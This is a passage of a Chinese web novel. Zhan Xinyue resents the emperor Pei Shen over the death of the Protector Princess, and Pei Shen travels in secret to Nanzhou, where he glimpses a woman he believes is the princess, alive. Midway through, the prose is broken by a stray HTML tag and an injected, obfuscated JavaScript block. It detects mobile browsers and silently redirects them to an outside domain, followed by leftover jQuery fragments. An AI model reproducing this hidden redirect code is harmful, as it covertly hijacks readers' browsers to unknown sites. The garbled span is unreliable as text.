夜深人静,展新月一个人在书房做了很久。
她将今日裴慎明刘兴送来的圣旨看了很久,只觉得上面的一些内容真是极尽讽刺。
念旧日情谊,兼尔与朕所爱之人交深,故隐忍未发。
裴慎念旧情?念及她和他心爱之人交情深厚?
他的心爱之人?是谁?护国公主吗?
真是仗着宋昭颜死了说不了话,故作深情演戏给活着的人看。
他若爱宋昭颜,会任由手底下的人杀了她?
裴慎写到这一段的时候,真的不觉得亏心吗?
展新月只觉得讽刺至极。
而在看到他说的知道她的所作所为,心中不免又觉得有些后怕。
关于近几个月京中的流言,展新月承认,确实有她的手笔,但是她丝毫不觉得自己做错。
护国公主大爱无私,所做一切令她崇拜,可就是这样一个人,却死的那么惨。
但凡裴慎在争夺路上网开一面,留护国公主一条命,展新月也不会如此痛恨他。
而现在护国公主死了,裴慎没有推翻她的政策,却将这些好处收为己用,或许很多年以后,大启百姓世代传颂的都是裴慎的丰功伟绩,而曾经提出这些想法的护国公主,在史书上留下的只有寥寥几笔。
妖女宋昭颜怀枭鸷之谋,纵贪狼之欲,然天道昭昭,多行不义终自毙于阋墙。幸有九皇子裴慎,挽狂澜于既倒,扶社稷于将倾,遂使海宇清平,国祚昌盛。
这都是裴慎的阴谋,叫展新月如何不恨?
可是展新月却不能为她报仇,甚至现在还要做好臣子本分。
但是展新月不甘心,就算护国公主死了,她也要继续推行她的理想。
既然裴慎说了,护国公主是他心中所爱,那怎么能轻易毁掉心爱之人推行的政策呢?
且他也亲口说过,会继续让展新月做下去。
想到这里,展新月心中的恨意才消减几分。
罢了,或许是她太急功近利,才被裴慎察觉,不过想要她彻底放下,绝不可能。
不过短时间内,确实要蛰伏一番,只是后面,她会更加小心一些就是。
想到这里,展新月冷笑一声,将桌上的圣旨丢进一个锦盒中,“啪嗒——”一声盖了起来。
裴慎在写下那份圣旨以后,后面的一段时间,都在废寝忘食的处理政务,似乎除了朝政,没有任何事情能够引起他的注意。
而因为每日的劳累,裴慎再次消瘦下去,虽然没有病倒,但却也让人担心。
当然,朝阳宫的那些术士也被遣送出宫了,京中那些关于护国公主的诅咒的传言,自然也消失了。
虽然裴慎处理政务勤勤恳恳,俨然是一副明君姿态,朝臣们应该开心。
可是朝臣看在心里,却都觉得这样下去不行。
皇家不比寻常百姓家,可不必守孝三年,所以大可开始选秀。
加上现在已经是新的一年,这昭德元年也快过半,可是陛下仍旧没有要选秀的意思,对于他们的提议丝毫不放在心上,这让朝臣们心里急呀!
先前还频频叫展新月进宫,他们还以为是因为二人在朝阳宫有旧情,只是碍于宋昭颜的关系,所以才变得有些微妙
终于宋昭颜死了,双方也没有什么顾忌,所以才开始慢慢要告知众人。
可是现在,展新月进宫的次数也少了,那他们所想之事,如何才能进行下去呀?
加上裴慎血气方刚的,身边没有一个女子就算了,居然能丝毫不在意选秀之事,不免让某些朝臣怀疑,莫非是以前住在朝阳宫的时候,被护国公主做了什么,导致不行了吗?
但是这种猜测可不像之前的谣言,之前的谣言还带着鬼神之说,只要不信鬼神之人,这真真假假的,谁能当真?只会嗤之以鼻。
可是现在猜测裴慎身体有异,恐怕不行的猜测,若是传到裴慎的耳朵里,只怕都见不到明日的太阳。
但是裴慎一直这样不选秀,只沉于政务也不行啊,这太后也不知道劝劝。
无奈,他们只能不断上奏,建议裴慎选秀。
最初这种奏折呈上去的时候,都被裴慎丢到一边,但是时间久了,裴慎也陷入沉思。
他已经很努力用政务来麻痹自己,让自己不再去想她,可是现在送到他面前的,都是一些无关紧要的事情,让他如何能控制得住。
终于,这一日裴慎坐在案前,看着一封上奏请他选秀的奏折时失了神,脑海不自觉想到了某次在校场练习骑马的场景。
那个时候裴慎无意间听见展新月问过她,为什么这么认真的练习骑马。
她怎么说的来着?
“技多不压身嘛!学会之后,在这个世界,我可以骑着马去任何我想去的地方!”
去任何想去的地方。
不知道现在成为幽魂的她,实现这个愿望没有?
思及此,裴慎抬眸,仔仔细细地打量了殿内一番,猜测着对方此刻会不会在殿内某处,正看着他呢?
“啪嗒——”一声,有一滴泪水落在了桌案之上,裴慎垂眸看着那滴泪痕,脸上露出苦笑。
从桌案上翻出为数不多的,除了上奏选秀以外的奏折,裴慎将目光落到上面的内容。
大意是先前护国公主开办的女学政策很是成功,听闻最初只是选定了几个大的州府,如今某地已经初见成效,可以进行推广。
裴慎突然很想去这个地方看看。
她看不到了,但是他想去看看,她理想生根发芽的地方!
思及此,裴慎将目光落在了上面的地名,开口叫来了刘兴!
六月的天气已经有几分炎热,裴慎站在窗前望着窗外的景色,也不知道在想什么。
殿内站着一众臣子,此刻他们并没有像往日那般气如洪钟议论政事,反而在交头接耳的低语,似乎是害怕所说之事被站在上方的裴慎听见。
即便声音已经放的很低,裴慎还是听得清清楚楚,但是他却装聋作哑,并没有要打断的意思。
直到所有臣子的目光都聚集在了邓中书的身上,邓中书最后也只能叹了口气,带着劝解的语气道:“臣等明白这几个月陛下因为护国公主的事情忧心许久,可是陛下想微服出宫一事,实在是让臣等担忧,尤其是还要去那么远的地方。若是陛下实在想散心,京郊就有很多不错的地方,咱们可以......”
“朕今日叫你们来,不是和你们商议。”
沉默许久的裴慎终于开口,而他的目光依旧落在窗外,丝毫没有理会殿内的众人。
“只是告知而已!”
见裴慎如此决绝,下方的臣子们再次焦急的叹息起来。
裴慎想去的南州远在千里,那里的景色确实在大启都颇有盛名,且气候宜人。可是离京城实在是太远了,即便裴慎微服前往,谁能保证有个万一呢?
尤其是裴慎尚无一丝血脉,若是真的有个好歹,急匆匆的从宗室选人继位,又该选谁呢?</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259249|175522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
若是宗室因为继位之事明争暗斗,那大启可就乱了。
一旦西戎得知大启内乱,定然会举兵来袭。
这一切的一切都是息息相关的连锁反应,轻易动弹不得!
思及此,邓中书带着语重心长的语气再次开口劝解:“臣等恳请陛下三思,若是陛下实在想知道护国公主曾经的政策具体实施得如何,不妨派亲信前往就是,何必亲自前去?”
裴慎却缓缓地摇摇头。
亲信前往查看,那都是公事,而裴慎想亲自前去,是他的私心。这两者,不一样。
“邓卿不必再说,此事朕意已决,今日召你们前来,便是安排朕出京以后得事情。朕不会对外宣称要出宫,就说太后一心礼佛,朕为了尽孝心,前往护国寺修行一段时间。再次期间,朝中之事就麻烦几位大人了。”
见裴慎已经决绝的说完自己的决定,几位大人也不好再说什么,只能垂下头唉声叹气。
眼看实在不能扭转裴慎的想法,邓中书也心里也只能放弃了,只能苦中作乐的用正面事态来化解此刻的情绪。
“陛下出去散散心也好,但是定要带上护卫随行才行!此次出游虽然臣等不赞成,但若是陛下能窈窕淑女,君子好逑,也不失为一桩美谈!”
邓中书说罢,其他臣子想了想觉得也是,便都点起头来。
裴慎听闻只觉得好笑,他们觉得他出宫,是寻欢作乐,寻觅美人的?
可是裴慎却笑不出来,只是面无表情的看着他们。
“无事了,你们退下吧!”
“臣等遵旨!”
等一切准备工作完成,时间已经来到了六月底,裴慎轻车简从,只带了沈维和几个护卫,见禁军统领周进留在了护国寺,便出宫了。
七月的大启已经很是炎热,可是越往南州而行,只觉得酷热也消减了几分。
南州确实是个好地方,这里的百姓生活富足,不必忍受饥寒之苦,是以有更多的时间来思考和接受新的政策。这也是女学之事在这里推行如此成功的原因之一。
裴慎到达南州的时候,已经七月上旬,他站在长街之上,看着不远处的匾额写着“益彰书院”。
他看着进出书院有说有笑的男男女女,关于曾经他自己和展新月也有这样的画面,裴慎是一点儿也不愿意想起,反而幻想着他曾经从来没有,却希望发生过的,他和那个女子也有这样情况的画面。
终究还是他白日做梦。
裴慎自嘲的想着,轻轻叹息后摇摇头,刚准备转身离开,却见书院门口停下一辆马车,有人从马车内掀起帘子,纤纤玉手递出来一封信,马车下有人结果后,便朝着书院跑去。
那只手的主人顺势收回了手,但是那帘子因为手主人的动作荡漾开来。
不过一个无关紧要之人,可是透过那微微敞开的帘子,裴慎的余光扫见了马车里那人的侧脸,那张脸在这三年半的时间里,不止一次出现在他的梦境里,所以即便没有看清楚全脸,裴慎也确信,那张脸就是自己朝思暮想的人。
原本平静的心跳似乎在这一刻重新恢复跳动,裴慎只觉得呼吸都变得急促,甚至能感受到胸膛处激烈的跳动之声。
是自己的幻觉吗?
不可能!
如果是幻觉,在他病的最严重的时候,都没有将宫中任何一个宫女看成她的模样。
可是今日来到南州,就见到了魂牵梦绕的人,这说明什么?
说明——她真的没死!